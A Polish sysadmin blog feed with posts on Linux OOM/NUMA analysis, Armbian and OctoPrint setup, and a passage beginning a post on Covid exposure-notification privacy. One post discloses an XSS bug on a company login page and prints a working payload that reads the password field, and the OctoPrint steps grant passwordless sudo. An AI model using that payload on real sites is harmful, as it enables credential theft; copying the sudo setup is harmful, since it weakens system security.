tag:blogger.com,1999:blog-27124832897668030322024-03-19T11:16:53.795+01:00adrbadrbhttp://www.blogger.com/profile/11509215761138128064noreply@blogger.comBlogger46125tag:blogger.com,1999:blog-2712483289766803032.post-53990195068561075372022-06-15T23:33:00.032+02:002022-06-16T14:42:21.360+02:00Analiza błędów OutOfMemory w Linuksie<p> Każdy administrator Linuxa, prędzej czy później zobaczy w logach błąd mówiący o tym, że system Linuks wyczerpał całą dostępną pamięć. Nie każdy jednak wie co dokładnie oznacza zapisana w logach informacja, a co za tym idzie nie koniecznie będzie wiedzieć co faktycznie błąd spowodowało i jak przeciwdziałać podobnym zdarzeniom w przyszłości.</p><p> Problem omówimy sobie na dosyć ciekawym przypadku, który wystąpił niedawno na jednym z serwerów pracujących pod kontrolą <i>CentOS7</i> (wersja jądra 3.10) oraz procesorze w architekturze <i>x86_64</i>.<br /></p><p><span></span></p><a name='more'></a><span data-bind="text: name"> Tyle tytułem wstępu, teraz przejdźmy do objawów. Wspomniany wcześniej serwer jest maszyną fizyczną na której są uruchomione maszyny wirtualne <i>KVM</i>, zarządzane przy pomocy <i>libvirt</i>. Dosyć standardowa konfiguracja, bez żadnych wodotrysków. Od jakiegoś czasu serwer zalicza regularnie błędy typu <i>OutOfMemory</i>, zabijając przy okazji jedną z maszyn wirtualnych.</span><p></p><p><span data-bind="text: name"> Tymczasem zebrane statystyki świadczą o tym, że system posiada dostępną pamięć. Zsumowanie pamięci przydzielonej maszynom wirtualnym, również pokazuje spory zapas. Przeanalizujmy zatem po kolei zapisany log, zaczynając od pierwszych linii :</span></p>
<div><pre style="background: rgb(240, 240, 240) none repeat scroll 0% 0%; border: 1px dashed rgb(204, 204, 204); color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; overflow-wrap: normal;"># dmesg -T<br />...<br />[Wed Jun 15 06:37:51 2022] python invoked oom-killer: gfp_mask=0x3000d0, order=2, oom_score_adj=0<br />[Wed Jun 15 06:37:51 2022] python cpuset=/ mems_allowed=0-1<br />[Wed Jun 15 06:37:51 2022] CPU: 9 PID: 24121 Comm: python Tainted: G I ------------ 3.10.0-1160.2.2.el7.x86_64 #1<br />...<br /></code></pre> Po kolei co my tu mamy:</div><div><ul style="text-align: left;"><li>Błąd został spowodowany przez proces python-a pracujący na procesorze numer 9<br /><br /></li><li><i>order=2</i> - Proces próbował zaalokować 16kB pamięci, w jednym ciągłym bloku. Parametr "<i>order</i>" podaje żądaną liczbę stron pamięci. Przy czym nie jest to liczba podana bezpośrednio, a jako potęga liczby dwa.<br /><br />Czyli w naszym wypadku mamy liczbę stron pamięci wynoszącą <i>2^2=4</i>. Teraz mnożymy to przez rozmiar normalnej strony pamięci <i>4*4096 = 16kB</i>. Gdybyśmy mieli<i> order=0</i>, wtedy byłaby to próba alokacji 1 strony pamięci, ponieważ 2^0=1<i><br /><br /></i></li><li><i> gfp_mask=0x3000d0</i> - flagi GFP, które możemy zdekodować poprzez zerknięcie w plik źródłowy jądra <a href="https://elixir.bootlin.com/linux/v3.10/source/include/linux/gfp.h#L49" target="_blank">include/linux/gfp.h</a>. W naszym wypadku flagi te mówią, że mamy do czynienia z normalną alokacją pamięci (brak ustawionych flag <i>DMA</i>, <i>HIGHMEM</i> czy <i>DMA32</i>)<br /><i><br /></i></li><li><i>cpuset=/ mems_allowed=0-1</i> - informacja o tym czy proces został przypisany do jakiegoś konkretnego procesora lub z których "węzłów" pamięci może korzystać.<br /><br />Tutaj widać, żę mamy dwa węzły (<i>mems_allowed=0-1</i>), co za tym idzie serwer musi obsługiwać mechanizm <i><a href="https://pl.wikipedia.org/wiki/Niejednolity_dost%C4%99p_do_pami%C4%99ci" target="_blank">NUMA</a></i>. W wielkim skrócie chodzi o to, że wybrane procesory są fizycznie połączone tylko z częścią pamięci operacyjnej. Robione jest to po to by zapewnić jak najkrótsze czasy dostępu, czyli dużo krótsze niż w przypadku gdyby wszystkie procesory korzystały z wspólnej szyny danych.<br /></li></ul><p> Na początek możemy sprawdzić jak są przypisane procesory oraz pamięć do poszczególnych węzłówv NUMA, np.: <br /></p></div>
<div><pre style="background: rgb(240, 240, 240) none repeat scroll 0% 0%; border: 1px dashed rgb(204, 204, 204); color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; overflow-wrap: normal;"># numactl --hardware<br />available: 2 nodes (0-1)<br />node 0 cpus: 0 2 4 6 8 10 12 14 16 18 20 22<br />node 0 size: 32237 MB<br />node 0 free: 1554 MB<br />node 1 cpus: 1 3 5 7 9 11 13 15 17 19 21 23<br />node 1 size: 32012 MB<br />node 1 free: 4897 MB<br />node distances:<br />node 0 1<br /> 0: 10 20<br /> 1: 20 10<br /></code></pre></div>
<p><span data-bind="text: name">Ponieważ wiem, że proces korzystał z procesora numer 9, wiem również że pamięć alokował w pierwszym węźle <i>NUMA</i>, czyli tam gdzie w tym momencie mamy dostępne niecałe 5GB pamięci. Już teraz można z zauważyć, że w naszym przypadku <b>możliwe jest wystąpienie błędu OOM, nawet gdy system raportuje aż połowę wolnej pamięci</b> ;)</span></p><p><span data-bind="text: name"> Pamięć w systemie jest podzielona nie tylko ze względu na węzły <i>NUMA</i>. Dodatkowo mamy jeszcze podział na tak zwane strefy </span><span data-bind="text: name"><span data-bind="text: name">(ang. <i>zone</i>)</span>. Generalnie chodzi o to, że starsze urządzenia 16-bitowe czy 32-bitowe (wpięte np. w szynę PCI lub ISA), nie potrafią odwoływać się do całej dostępnej pamięci. W przypadku urządzeń, które mogą zaadresować pamięć z zakresu 0-16MB (szyna <i>ISA</i>) mamy strefę <i>DMA.</i> Urządzenia 32-bitowe, adersujące pamięć w przedziale 0-4GB, powinny wykorzystywać strefę <i>DMA32</i>. </span><span data-bind="text: name"><span data-bind="text: name">O strefach <i>DMA</i> i <i>DMA32</i>, które korzystają z "niskich" adresów, mówimy że jest to pamięć niska (ang. <i>lowmem</i>).</span> Pamięć która nie będzie wykorzystywana do komunikacji z urządzeniami, powinna być alokowana w strefie <i>Normal</i> lub <i>Highmem</i></span><span data-bind="text: name">. Procesory 64-bit nie posiadają strefy <i>Highmem</i>, natomiast procesory 32-bit posiadają zarówno <i>Normal</i> (16-896MB) jaki i <i>Highmem</i> (>896MB).<br /></span></p><p><span data-bind="text: name"><span data-bind="text: name"> System próbuje alokować pamięć w kolejności od <i>Normal</i>, następnie <i>DMA32</i> i na końcu w <i>DMA</i>.
Czyli zasadniczo najpierw wybiera tą przestrzeń gdzie pamięci jest
najwięcej, aż dochodzi do strefy <i>DMA</i> która jest najmniejsza.</span><br /></span></p><p><span data-bind="text: name"> Sprawdźmy teraz ile faktycznie było wolnej pamięci w chwili wystąpienia problemu. Najwięcej powie nam fragment cytowany poniżej, który podaje ile i jakiej wielkości bloki były dostępne w poszczególnych węzłach <i>NUMA </i>oraz ich strefach :<br /></span></p>
<div><pre style="background: rgb(240, 240, 240) none repeat scroll 0% 0%; border: 1px dashed rgb(204, 204, 204); color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; overflow-wrap: normal;">...<br />[Wed Jun 15 06:37:51 2022] Node 0 Normal: 622118*4kB (UEM) 287275*8kB (UEM) 161*16kB (UM) 36*32kB (M) 30*64kB (M) 1*128kB (M) 0*256kB 0*512kB 0*1024kB 0*2048kB 0*4096kB = <b><u>4792448kB</u></b><br />[Wed Jun 15 06:37:51 2022] Node 1 DMA: 0*4kB 0*8kB 1*16kB (U) 0*32kB 2*64kB (U) 1*128kB (U) 1*256kB (U) 0*512kB 1*1024kB (U) 1*2048kB (M) 3*4096kB (M) = 15888kB<br />[Wed Jun 15 06:37:51 2022] Node 1 DMA32: 22393*4kB (UEM) 4279*8kB (UEM) 44*16kB (UEM) 4*32kB (U) 0*64kB 0*128kB 0*256kB 0*512kB 0*1024kB 0*2048kB 0*4096kB = 124636kB<br />[Wed Jun 15 06:37:51 2022] <u><b>Node 1 Normal</b></u>: 12930*4kB (U) 0*8kB <b><u>0*16kB</u></b> 0*32kB 0*64kB 0*128kB 0*256kB 0*512kB 0*1024kB 0*2048kB 0*4096kB = 51720kB<br />...<br /></code></pre></div>
<p><span data-bind="text: name"> Możemy zobaczyć, że pomimo wydawałoby się sporej ilości dostępnej pamięci, jest ona dosyć pofragmentowana i składa się głównie z pojedynczych bloków o rozmiarze jednej strony (4kB). Widzimy, że w pierwszym węźle (<i>Node 1 Normal</i>), brak było wolnych bloków o rozmiarze 16kB, więc alokacja w tej strefie nie mogła się powieść, pomimo dostępnej pamięci. Mamy również blisko 4.7GB wolnej pamięci w węźle zerowym, ale co z tego skoro proces działa na procesorze numer 9, który nie może skorzystać z tej pamięci.<br /></span></p><p><span data-bind="text: name">Zagadka rozwiązana? Trochę tak, ale nie mogę się zatrzymać w tym miejscu, ponieważ do pełnego zrozumienia brakuje nam jeszcze kilku istotnych informacji.</span></p><p><span data-bind="text: name"> Przejdzmy więc teraz do sytuacji czysto hipotetycznej. Gdyby w strefie <i>Normal</i> było zwyczajnie zbyt mało wolnej pamieci do alokacji 16kB, wtedy jądro starałoby się wykorzystać pozostałe strefy - <i>DMA</i> lub <i>DMA32</i>, gdzie widać odpowiednio 1 i 44 bloki po 16kB. Pytanie jest więc takie: która strefa i na jakiej podstawie zostałaby wybrana w takiej sytuacji?<br /></span></p><p><span data-bind="text: name"> Istotne jest, że pewna część pamięci musi pozostać zachowana na potrzeby jądra, a dodatkowo chcemy również unikać alokacji pamięci "niskiej" (ang. <i>lowmem</i>), ponieważ jest ona wykorzystywana do komunikacji z urządzeniami poprzez kanały <i>DMA</i>. Jak wielką część pamięci niskiej chronimy, możemy po części sterować przy pomocy parametru <a href="https://www.kernel.org/doc/html/latest/admin-guide/sysctl/vm.html#lowmem-reserve-ratio" target="_blank"><i>vm.lowmem_reserve_ratio</i></a>:<br /></span></p>
<div><pre style="background: rgb(240, 240, 240) none repeat scroll 0% 0%; border: 1px dashed rgb(204, 204, 204); color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; overflow-wrap: normal;"># cat /proc/sys/vm/lowmem_reserve_ratio<br />256 256 32<br /></code></pre></div>
<p><span data-bind="text: name">Powyższe ustawienia mówią, że rezerwujemy dodatkowo 1/256 rozmiaru strefy <i>DMA</i> i <i>DMA32</i>, oraz 1/32 rozmiaru <i>Normal</i>.<br /></span></p><p><span data-bind="text: name">Upraszczając to wszystko, jądro podejmie próbę zaalokowania pamięci w danej strefie w momencie gdy spełniony jest warunek:<br /></span></p><p style="text-align: center;"><code style="box-sizing: border-box; font-family: monospace, monospace; font-size: 1em;">low_watermark + lowmem_reserve[2] < free_pages - n_pages</code></p><p>gdzie wszystkie wartości podane są w stronach pamięci i oznaczają:</p><ul style="text-align: left;"><li>low_watermak - pamięć która musi pozostać wolna dla poprawnego działania systemu.<br /><br />W momencie gdy liczba wolnej pamięci spadnie poniżej tej wartości, uruchamiany jest proces odzyskujący strony pamięci, np. wyrzucający je na przestrzeń swap lub przenoszący do innych stref. Jeżeli nie uda się zwolnić wystarczająco dużo miejsca, uruchamiany jest tzw. oom-killer który wybiera a następnie kończy jakiś proces w systemie. Zazwyczaj jest to proces trzymający najwięcej pamięci<br /><br />Proces odzyskujący strony jest wstrzymywany gdy ilość wolnej pamięci przekroczy tzw. <i>high watermark</i><br /><br /></li><li>lowmem_reserve[2] - dodatkowy bufor chroniący pamięć "niską", sterowany przez <i>vm.lowmem_reserve_ratio</i>.<br /><br />Indeks wynosi dwa, ponieważ w naszym przypadku pamięć powinna być zaalokowana w zonie <i>Normal</i>. Definicję stref oraz ich indeks można sprawdzić kodzie źródłowym jądra, podglądając definicję <i>zone_type </i>w pliku <a href="https://elixir.bootlin.com/linux/v3.10/source/include/linux/mmzone.h#L260" target="_blank"><i>include/linux/mmzone.h</i></a><br /><br /></li><li>free_pages - liczba wolnych stron pamięci<br /><br /></li><li>n_pages - liczba stron które proces chce zaalokować<br /></li></ul><p><span data-bind="text: name"> Spójrzmy teraz jak wyglądała sytuacja w kolejnych strefach, istotne dane zostały wyróżnione:<br /></span></p>
<div><pre style="background: rgb(240, 240, 240) none repeat scroll 0% 0%; border: 1px dashed rgb(204, 204, 204); color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; overflow-wrap: normal;">...<br />[Wed Jun 15 06:37:51 2022] Node 1 DMA <u><b>free:15888kB</b></u> min:20kB <u><b>low:24kB</b></u> high:28kB active_anon:0kB inactive_anon:0kB active_file:0kB inactive_file:0kB unevictable:0kB isolated(anon):0kB isolated(file):0kB present:15988kB managed:15904kB mlocked:0kB dirty:0kB writeback:0kB mapped:0kB shmem:0kB slab_reclaimable:0kB slab_unreclaimable:16kB kernel_stack:0kB pagetables:0kB unstable:0kB bounce:0kB free_pcp:0kB local_pcp:0kB free_cma:0kB writeback_tmp:0kB pages_scanned:0 all_unreclaimable? yes<br />[Wed Jun 15 06:37:51 2022] lowmem_reserve[]: 0 3071 <u><b>31997</b></u> 31997<br />[Wed Jun 15 06:37:51 2022] Node 1 DMA32 <u><b>free:124624kB</b></u> min:4304kB <u><b>low:5380kB</b></u> high:6456kB active_anon:1441480kB inactive_anon:1384568kB active_file:0kB inactive_file:0kB unevictable:212kB isolated(anon):32kB isolated(file):0kB present:3378660kB managed:3145156kB mlocked:212kB dirty:0kB writeback:0kB mapped:200kB shmem:589376kB slab_reclaimable:163356kB slab_unreclaimable:23908kB kernel_stack:2176kB pagetables:2940kB unstable:0kB bounce:0kB free_pcp:0kB local_pcp:0kB free_cma:0kB writeback_tmp:0kB pages_scanned:0 all_unreclaimable? yes<br />[Wed Jun 15 06:37:51 2022] lowmem_reserve[]: 0 0 <u><b>28925</b></u> 28925<br />...<br /></code></pre></div><p>
Liczymy teraz równanie dla strefy DMA32, od razu w kilobajtach:</p><p style="text-align: center;">5380 + (28925*4096)/1024 < 124624 -16</p><p style="text-align: center;">121080 < 124608<br /></p><p>Jak widać warunek jest spełniony. Teraz policzmy to samo dla strefy DMA, w kilobajtach:<br /></p><p style="text-align: center;"><span data-bind="text: name">24 + (31997*4096)/1024 < 15888 - 16</span></p><p style="text-align: center;"><span data-bind="text: name">128012 > 15872</span></p><p><span data-bind="text: name">W tym wypadku warunek już nie jest spełniony. <br /></span></p><p><span data-bind="text: name"> Pamiętając, że kolejność w jakiej podejmowane są próby to </span><span data-bind="text: name"><span data-bind="text: name"><i>Normal</i>, <i>DMA32</i> i na końcu <i>DMA</i>, nowa pamięć zostałaby przydzielona w strefie <i>DMA32</i> - nawet gdyby było wolne miejsce w <i>DMA</i>.<i><br /></i></span></span></p><p></p><p> Na końcu wrócmy się jeszcze do naszej prawdziwej sytuacji. Co można zrobić by zbalansować wykorzystanie poszczególnych węzłów NUMA i tym samym zminimalizować ryzyko wystąpienia błędów OOM?</p><p> Można uruchomić serwis <a href="https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/7/html/performance_tuning_guide/sect-red_hat_enterprise_linux-performance_tuning_guide-tool_reference-numad" target="_blank"><i>numad</i></a>, który przypisuje procesy do jednego węzła NUMA (co poprawia również wydajność) oraz potrafi przenosić pamięć już uruchomionych procesów pomiędzy węzłami. Poniżej sytuacja przed uruchomieniem <i>numad</i>:</p>
<div><pre style="background: rgb(240, 240, 240) none repeat scroll 0% 0%; border: 1px dashed rgb(204, 204, 204); color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; overflow-wrap: normal;"># numastat -c qemu-kvm<br /><br />Per-node process memory usage (in MBs)<br />PID Node 0 Node 1 Total<br />--------------- ------ ------ -----<br />26346 (qemu-kvm) 2504 5567 8070<br />26541 (qemu-kvm) 7771 8482 16254<br />30627 (qemu-kvm) 4410 9973 14383<br />31855 (qemu-kvm) 3385 105 3490<br />31903 (qemu-kvm) 3737 55 3792<br />31952 (qemu-kvm) 2446 287 2733<br />--------------- ------ ------ -----<br />Total 24253 24469 48722<br /></code></pre></div>
<p>Oraz po uruchomieniu <i>numad</i>, gdzie widać że poszczególne procesy maszyn wirtualnych korzystają z pojedynczych węzłów:</p>
<div><pre style="background: rgb(240, 240, 240) none repeat scroll 0% 0%; border: 1px dashed rgb(204, 204, 204); color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; overflow-wrap: normal;"># numastat -c qemu-kvm<br /><br />Per-node process memory usage (in MBs)<br />PID Node 0 Node 1 Total<br />--------------- ------ ------ -----<br />26346 (qemu-kvm) 12 8059 8070<br />26541 (qemu-kvm) 1 16258 16259<br />31855 (qemu-kvm) 6 3484 3490<br />31903 (qemu-kvm) 3792 0 3792<br />31952 (qemu-kvm) 2383 350 2733<br />32737 (qemu-kvm) 16430 1 16431<br />--------------- ------ ------ -----<br />Total 22624 28152 50776<br /></code></pre></div>
<p><br /></p><p><br /></p>adrbhttp://www.blogger.com/profile/11509215761138128064noreply@blogger.comtag:blogger.com,1999:blog-2712483289766803032.post-33251740611408058522022-04-23T15:47:00.005+02:002022-04-23T16:13:51.896+02:00Konfiguracja Armbian bullseye na OrangePI Zero<p> Poniżej kilka mniej lub bardziej przydatnych informacji odnośnie konfiguracji<i> Armbian 22 (bullseye)</i> na OrangePI Zero. Instalacja sama w sobie nie jest specjalnie trudna, po prostu kopiujemy obraz na karte mikro sd i włączamy urządzenie. Schody zaczynają się nieco później.</p><span><a name='more'></a></span><p><span data-bind="text: name">Po pierwsze okazuje się, że sterownik karty sieciowej (<a href="https://github.com/fifteenhex/xradio" target="_blank">XR819</a>) nie potrafi poprawnie odczytać swojego adresu MAC z drzewa DT (ang. <i>Device Tree</i>) dla jądra w wersji powyżej <i>5.13.0</i>. Armbian obecnie używa jądra w wersji <i>5.15.25</i>.</span></p><p><span data-bind="text: name">Skutek jest taki, że za każdym restartem karta <i>wlan</i> dostaje nowy, losowo generowany adres MAC. Na szczęście pomaga cofniecie jądra do wersji "<i>legacy</i>", czyli 5.4.88:</span></p><div></div><div><span data-bind="text: name"></span></div>
<div><pre style="background: rgb(240, 240, 240) none repeat scroll 0% 0%; border: 1px dashed rgb(204, 204, 204); color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; overflow-wrap: normal;"># apt-get install linux-image-legacy-sunxi linux-dtb-legacy-sunxi</code></pre> </div><div> Kolejny problem to szybko kończące się miejsce w <i>/var/log</i>. W tym wypadku stwierdziłem, że najszybciej będzie zrobić obejście w postaci zadania <i>cron</i>, które w razie czego wyczyści logi:
<div><pre style="background: rgb(240, 240, 240) none repeat scroll 0% 0%; border: 1px dashed rgb(204, 204, 204); color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; overflow-wrap: normal;"># cat > /etc/cron.d/vacuum << _EOF_<br />PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin<br />SHELL=/bin/bash<br /><br />*/1 * * * * root if ( df --output='pcent' /var/log/ | grep '100\%' >/dev/null ) ; then journalctl --vacuum-files=1 >/dev/null ; fi</code></pre> </div><div> Płytka lubi się też od czasu do czasu zawieszać. Wystarczy gorszy zasilacz (polecam nie zasilać przez port <i>microUSB</i> a bezpośrednio poprzez piny 4 i 6 na "<i>Expansion Port</i>" zasilaczem 5V/3A) lub wahnięcie napięcia i już mamy problem.</div><div> </div><div> Rozwiązania generalnie są dwa. Można na przykład zrobić na którymś pinie tzw. watchdoga, czyli dodać kolejne urządzenie które będzie sprawdzało czy wybrany pin na <i>OrangePI</i> pulsuje i w razie problemu odciąć na chwile zasilanie. Nie trzeba tutaj nic programować, ponieważ jądro Linuksa posiada odpowiedni sterownik, który wystarczy aktywować poprzez plik konfiguracyjny DT.</div><div> </div><div> Dla mnie to jednak trochę zbyt wiele zachodu.
Zamiast tego wykorzystuje fakt, że <i>OrangePI</i> posiada na płytce dwie diody LED, czerwoną i zieloną. Stworzyłem plik z konfiguracją DT, który widać poniżej, powodujący, że zielona dioda będzie rytmicznie pulsować:
<pre style="background: rgb(240, 240, 240) none repeat scroll 0% 0%; border: 1px dashed rgb(204, 204, 204); color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; overflow-wrap: normal;"># cat > gpio-leds.dts << _EOF_<br />/dts-v1/;<br />/plugin/;<br /><br />/ {<br /> compatible = "allwinner,sun8i-h3";<br /><br /> fragment@0 {<br /> target-path = "/";<br /> __overlay__ {<br /> leds {<br /> compatible = "gpio-leds";<br /><br /> pwr_led {<br /> label = "orangepi:green:pwr";<br /> gpios = <&r_pio 0 10 0>; // PA10, GPIO_ACTIVE_HIGH<br /> linux,default-trigger = "heartbeat";<br /> };<br /><br /> status_led {<br /> label = "orangepi:red:status";<br /> gpios = <&pio 0 17 0>; // PA17, GPIO_ACTIVE_HIGH<br /> default-state = "off";<br /> };<br /><br /> };<br /> };<br /> };<br /><br />};<br />_EOF_
# armbian-add-overlay </code><code style="color: black; overflow-wrap: normal;"><code style="color: black; overflow-wrap: normal;">gpio-leds.dts<br /># reboot</code>
</code></pre>
Gdy system się zawiesi, dioda już nie będzie pulsować ;) Dodatkowo można w miarę potrzeby aktywować diodę czerwoną, dając do zrozumienia że układ napotkał jakąś sytuację awaryjną i konieczna jest interwencja człowieka:
<pre style="background: rgb(240, 240, 240) none repeat scroll 0% 0%; border: 1px dashed rgb(204, 204, 204); color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; overflow-wrap: normal;"># echo 1 > /sys/class/leds/orangepi\:red\:status/brightness
</code></pre>
Oczywiście to nie jest rozwiązanie zautomatyzowane jak w przypadku watchdoga, jednak dzięki niemu w momencie gdy wystąpi jakiś problem, można podejść i jednym rzutem oka określić z czym mniej więcej mamy do czynienia.
</div></div>adrbhttp://www.blogger.com/profile/11509215761138128064noreply@blogger.comtag:blogger.com,1999:blog-2712483289766803032.post-44121637851962710672022-04-21T20:45:00.008+02:002022-04-23T15:21:19.002+02:00Instalacja Octoprint pod Armbian Bullseye<p> </p><p> Kolejny wpis po dłuższej przerwie ;) Tym razem przyszła pora na odświeżenie mojego małego kontrolera dla drukarek 3d, na którym do tej pory chodził <i>OctoPrint</i> oraz <i>motion</i> (serwis do kamerki) . Tak się złożyło, że python2 nie jest już wspierany przez Octoprint, a zatem najprostsza jest aktualizacja poprzez reinstalację wszystkiego.</p>
<span><a name='more'></a></span>
<p> Na szczęście od dawna unikam zbytniego ingerowania w system i generalnie staram się modyfikować tylko to co naprawdę muszę, szkoda czasu na wymyślanie koła od nowa. A zatem szybko do celu. Najpierw instalujemy system, w moim przypadku Armbian Bullseye, a poniżej zestaw poleceń do przeklinania:</p>
<div><pre style="background: rgb(240, 240, 240) none repeat scroll 0% 0%; border: 1px dashed rgb(204, 204, 204); color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; overflow-wrap: normal;"># apt-get install python-is-python3 python3-pip python3-dev python3-venv<br /># adduser octoprint<br /># passwd octoprint -d<br /># usermod -a -G tty octoprint<br /># usermod -a -G dialout octoprint<br /># adduser octoprint sudo<br /># echo 'octoprint ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers<br /># su - octoprint<br />$ python -m venv OctoPrint<br />$ OctoPrint/bin/pip install OctoPrint<br />$ exit<br /># wget https://raw.githubusercontent.com/OctoPrint/OctoPrint/master/scripts/octoprint.service -O /etc/systemd/system/octoprint.service<br /># sed -e 's/^User=pi$/User=octoprint/' -i /etc/systemd/system/octoprint.service<br /># sed -e 's#^ExecStart=.*#ExecStart=/home/octoprint/OctoPrint/bin/octoprint#' -i /etc/systemd/system/octoprint.service<br /># systemctl enable octoprint<br /># systemctl start octoprint
</code></pre><code style="color: black; overflow-wrap: normal;"></code><div>
Opis konfiguracji pominę, jedyne co trzeba jeszcze wiedzieć to to, że domyślnie interfejs www jest dostępny na porcie 5000.</div><div> </div><div>Warto od razu doinstalować kilka naprawdę użytecznych pluginów jak "<i>Touch UI</i>" (interfejs dla urządzeń mobilnych), "<span data-bind="text: name"><i>Exclude Region</i>" (możliwość wykluczenia pewnego obszaru roboczego podczas wydruku) oraz "</span><span data-bind="text: name"><i>PrettyGCode</i>" (prezentuje GCODE w formie modeli 3D).</span></div></div>adrbhttp://www.blogger.com/profile/11509215761138128064noreply@blogger.comtag:blogger.com,1999:blog-2712483289766803032.post-86816982249013350072020-07-02T16:52:00.007+02:002020-07-17T10:05:22.039+02:00XSS-em przez SQLInjection<div><br /></div><div>Na co dzień nie zajmuje się bezpieczeństwem, chociaż jak widać po wpisach na blogu skręcam coraz bardziej w ta stronę :) W każdym razie dzisiaj podzielę się ciekawym błędem, który przypadkiem udało się znaleźć na stronie logowania jednej z w miarę znanych firm.</div><div><br /></div><span><a name='more'></a></span><div><br /></div><div>Zaczęło się od tego, że ktoś przeskanował stronę szukając podatności typu <i>SQLInjection</i>. Ponieważ aplikacja posiada zabezpieczenia, fakt ten został wykryty. Natomiast co zwróciło moja uwagę, że dla niektórych zapytań, pomimo tego że zabezpieczenie zadziałało, aplikacja zwróciła poprawnie stronę (status 200). Po odpytaniu strony w ten sam sposób, dało się zauważyć że zawiera część zapytania które miało wykonać <i>SQLInjection</i>.<br /></div><div><br /></div><div>Testowany przez atakującego parametr <i>bckg</i> w url nie był wykorzystywany do wykonywania zapytań w bazie a jedynie do wygenerowania kilku linków na stronie. Tak, więc pomimo wykrycia ataku aplikacja działała normalnie, stwierdzając najwyraźniej że nie stanowi to dla niej zagrożenia. Wykrywając próbę wykonania <i>SQLInjection</i> pomijała przy okazji część kodu odpowiedzialnego za ochronę przez XSS. Poniżej <i>payload</i> jakim udowodniłem istnienie luki:</div>
<div><pre style="background: rgb(240, 240, 240) none repeat scroll 0% 0%; border: 1px dashed rgb(204, 204, 204); color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; overflow-wrap: normal;">
select
"
onmouseover="document.getElementById('loginButton').onclick=function() {alert(document.getElementById('j_password').value)}"
</code></pre></div>
<br /><div>Co po zakodowaniu daje:<br /></div><div><br /></div>
<div><pre style="background: rgb(240, 240, 240) none repeat scroll 0% 0%; border: 1px dashed rgb(204, 204, 204); color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; overflow-wrap: normal;"> http://..../login.html?bckg=%0Aselect%0A%22%0A%0Aonmouseover=%22document.getElementById('loginButton').onclick=function()%20%7Balert(document.getElementById('j_password').value)%7D%22%0A
</code></pre></div>
<br /><div>Jak widać nic specjalnie wyszukanego, jedynie w pierwszej części symulujemy próbę ataku <i>SQLInjection</i>, poprzez umieszczenie "select".</div><div><br /></div><div>Morał z tej opowiastki jest taki, że w tym wypadku dobrze zabezpieczona aplikacja poległa w momencie gdy najpierw został symulowany atak innego rodzaju. Można powiedzieć, że w systemie bezpieczeństwa nastąpił "<i>desync</i>" :)<br /></div><div><br /></div>adrbhttp://www.blogger.com/profile/11509215761138128064noreply@blogger.comtag:blogger.com,1999:blog-2712483289766803032.post-59600724221156346842020-07-01T12:52:00.006+02:002021-08-14T15:34:20.131+02:00Deanonimizacja i śledzenie Covid19 Bluetooth Exposure Notifications<div style="text-align: left;"><br /></div><div style="text-align: left;">Rok 2020, z pewnością zapisze się w historii. Już teraz można go podsumować nie tylko jako rok pandemii, ale przede wszystkim rok który najpewniej zapoczątkuje ogromne zmiany w funkcjonowaniu społeczeństw. Politykę zostawiam jednak z boku, to na czym w tym wpisie chce się skupić to idea śledzenia kontaktów międzyludzkich.</div><div style="text-align: left;"><br /></div><div style="text-align: left;">Jednym z głównych problemów przy opanowaniu pandemii jest skuteczne namierzanie osób potencjalnie zarażonych, czyli takich które miały kontakt z kimś zdiagnozowanym jako nosiciel choroby. W czasie poprzednich pandemii które nękały ludzkość na światowa skale, nie mieliśmy tego co mamy dzisiaj, czyli technologii umożliwiającej śledzenie kontaktów.</div><div style="text-align: left;"><br /></div><span><a name='more'></a></span><div style="text-align: left;">W obecnych czasach sytuacja wygląda jednak inaczej. Najpierw pojawiła się propozycja pochodząca z środowiska akademickiego, czyli <a href="https://github.com/DP-3T/documents/blob/master/DP3T%20-%20Simplified%20Three%20Page%20Brief.pdf">DP-3T</a>, później temat został podchwycony przez Google oraz Apple, które opierając się na DP-3T, zaproponowały własny protokół <a href="https://www.google.com/covid19/exposurenotifications/">G+A</a>. Oba rozwiązania bazują na komunikatach rozgłaszanych przez urządzenia mobilne za pomocą Bluetooth.</div><div style="text-align: left;"><br /></div><div style="text-align: left;">W dużym skrócie, chodzi o to by na podstawie identyfikatorów (ich skrócona nazwa to <i>RPI</i>) rozgłaszanych w eter przez smartfony, pojedyncza osoba była w stanie ustalić czy miała kontakt z kimś u kogo zdiagnozowano chorobę. Identyfikatory są generowane przy pomocy klucza kryptograficznego, a sam klucz umożliwiający ich "rozszyfrowanie", może zostać upubliczniony tylko przez właściciela smartfon-u, o ile został zdiagnozowany pozytywnie. W teorii wszystko jest bezpieczne i zapewnia prywatność, w praktyce jednak nie jest tak 